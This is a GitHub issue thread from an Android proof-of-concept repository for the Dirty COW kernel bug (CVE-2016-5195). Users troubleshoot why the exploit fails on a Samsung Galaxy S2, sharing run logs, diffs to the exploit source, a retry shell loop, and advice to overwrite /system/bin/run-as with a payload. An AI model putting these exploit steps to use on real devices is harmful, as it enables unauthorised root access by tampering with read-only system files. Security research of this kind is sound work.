timwr / CVE-2016-5195

CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android
959 stars 395 forks source link

Dirtycow not exploiting Samsung Galaxy S2 #29

Closed desiree1234 closed 7 years ago

desiree1234 commented 8 years ago

Samsung Galaxy S2, running kernel 3.0.31 and Android-4.1.2. Dirtycow not triggering.

Running dirtycow gives [*] exploited 0x402d1000=464c457f but targeted file is not changing.

I have tried couple of things: Different toolchain: android-ndk-r12b / android-ndk-r13b Different platform: APP_PLATFORM=android-21 / APP_PLATFORM=android-10 Different loop: #define LOOP 0x100000 / 0x10000 / 0x1000000 Different pagesize: #define PAGE_SIZE 4096 / 2048

What can be the issue? What else I can do?

Full log:

shell@android:/data/local/tmp $ ./busybox md5sum /default.prop default.prop    
28bc55d4056c4e75e38bc570c579b6a0  /default.prop
e3e8cce6dc9070cfb3fc3e5403fe40f4  default.prop
shell@android:/data/local/tmp $ ./dirtycow /default.prop default.prop          
warning: new file size (6450) and file old size (116) differ

size 6450

[*] mmap 0x400e7000
[*] exploit (patch)
[*] currently 0x400e7000=20230a23
[*] madvise = 0x400e7000 6450
[*] /proc/self/mem -1048576 1048576
[*] madvise = 0 1048576
[*] exploited 0x400e7000=20230a23
shell@android:/data/local/tmp $ ./busybox md5sum /default.prop                 
28bc55d4056c4e75e38bc570c579b6a0  /default.prop
Prism019 commented 8 years ago

Take a look at the file sizes. The file you're copying to the original is way too big. Try another file to copy to, like /system/bin/run-as.

desiree1234 commented 8 years ago

Thanks for suggestion, I didn't yet solved this. I studied dirtycow more and I have couple remarks.

PAGE_SIZE is not used at all:

--- a/dirtycow.c
+++ b/dirtycow.c
@@ -21,10 +21,6 @@

 #define LOOP   0x100000

-#ifndef PAGE_SIZE
-#define PAGE_SIZE 4096
-#endif
-
 struct mem_arg  {
        unsigned char *offset;
        unsigned char *patch;

Some other POC's (for Linux) are using much greater LOOP values.

-#define LOOP   0x100000
+#define LOOP   0x1000000

(even greater than this)

I examined what are printed values in the log. After loops it prints for-counter (which is always of course same than for-limit) Then it prints memory-address which is not human understandable at all. And last "Exploited" is printed unconditionally, it doesn't even know how exploit ended.

@@ -47,13 +43,13 @@ static void *madviseThread(void *arg)
        size = mem_arg->patch_size;
        addr = (void *)(mem_arg->offset);

-       LOGV("[*] madvise = %p %d", addr, size);
+       LOGV("[*] madvise : addr=%p size=%d", addr, size);

        for(i = 0; i < LOOP; i++) {
                c += madvise(addr, size, MADV_DONTNEED);
        }

-       LOGV("[*] madvise = %d %d", c, i);
+       LOGV("[*] madvise  c=%d counter=%d", c, i);
        return 0;
 }

@@ -75,7 +71,7 @@ static void *procselfmemThread(void *arg)
                c += write(fd, p, mem_arg->patch_size);
        }

-       LOGV("[*] /proc/self/mem %d %i", c, i);
+       LOGV("[*] /proc/self/mem c=%d counter=%i", c, i);

        close(fd);

@@ -87,7 +83,7 @@ static void exploit(struct mem_arg *mem_arg, int do_patch)
        pthread_t pth1, pth2;

        LOGV("[*] exploit (%s)", do_patch ? "patch": "unpatch");
-       LOGV("[*] currently %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
+       LOGV("[*] currently (men_arg.offset) %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);

        mem_arg->do_patch = do_patch;

@@ -97,7 +93,7 @@ static void exploit(struct mem_arg *mem_arg, int do_patch)
        pthread_join(pth1, NULL);
        pthread_join(pth2, NULL);

-       LOGV("[*] exploited %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
+       LOGV("[*] exploited (men_arg.offset) %p=%lx", (void*)mem_arg->offset, *(unsigned long*)mem_arg->offset);
 }

 int main(int argc, char *argv[])
@@ -159,7 +155,7 @@ int main(int argc, char *argv[])
                return 0;
        }

-       LOGV("[*] mmap %p", map);
+       LOGV("[*] mmap map=%p", map);

        mem_arg.offset = map;

I made one byte modification on default.prop (exactly same size now).

Then I made this shell-script to start it over if not success. (I saw another POC, which has three thread, one for stopping attack when exploit happens)

#!/system/bin/sh

OLD=`md5sum /default.prop`
echo orig md5 $OLD

while [ 1 ]
do
./dirtycow /default.prop default.prop

NEW=`md5sum /default.prop`
echo new md5 $NEW

if [ "$NEW" == "$OLD" ]
then
    echo "Next round"
else
    echo "Differs."
    exit 0
fi

done

I run this several of hours. As I understand this dirtycow is all about race-condition which might happen or not, it is only about probability.

Now my log is repeating this:

size 116

[*] mmap map=0x400fb000
[*] exploit (patch)
[*] currently (men_arg.offset) 0x400fb000=20230a23
[*] madvise : addr=0x400fb000 size=116
[*] /proc/self/mem c=-16777216 counter=16777216
[*] madvise  c=0 counter=16777216
[*] exploited (men_arg.offset) 0x400fb000=20230a23

So this: c += madvise(addr, size, MADV_DONTNEED); gives always c=-16777216 (when counter is 16777216)

And this: c += write(fd, p, mem_arg->patch_size); gives always 0 (when counter is 16777216)

Prism019 commented 8 years ago

Just to be clear, /data/local/tmp/default.prop is less than or equal to 116 kilobytes, correct? If it's any larger than that, it's going to fail no matter what. For me, dirtycow has worked 100% of the time. If /data/local/tmp/default.prop is bigger than 116 kilobytes, then you need to overwrite a different file, so instead of /default.prop, try /system/bin/run-as instead.

Prism

timwr commented 8 years ago

I can reproduce this actually. For some reason the race condition is not occurring.

desiree1234 commented 7 years ago

I got it partially working with pokemon.c variant of dirtycow: https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c

Compiled for S2 and I can slightly modify read-only files.

I removed printing of command line parameter (row 38) and used it:

./d /system/bin/run-as "`cat payload"`

I have once got it working.But many times it writes only some bytes correctly and some corrupted.

timwr commented 7 years ago

Wow great find. I initially tried the ptrace variant but it didn't work so I gave up. I'll give it another go. Many thanks.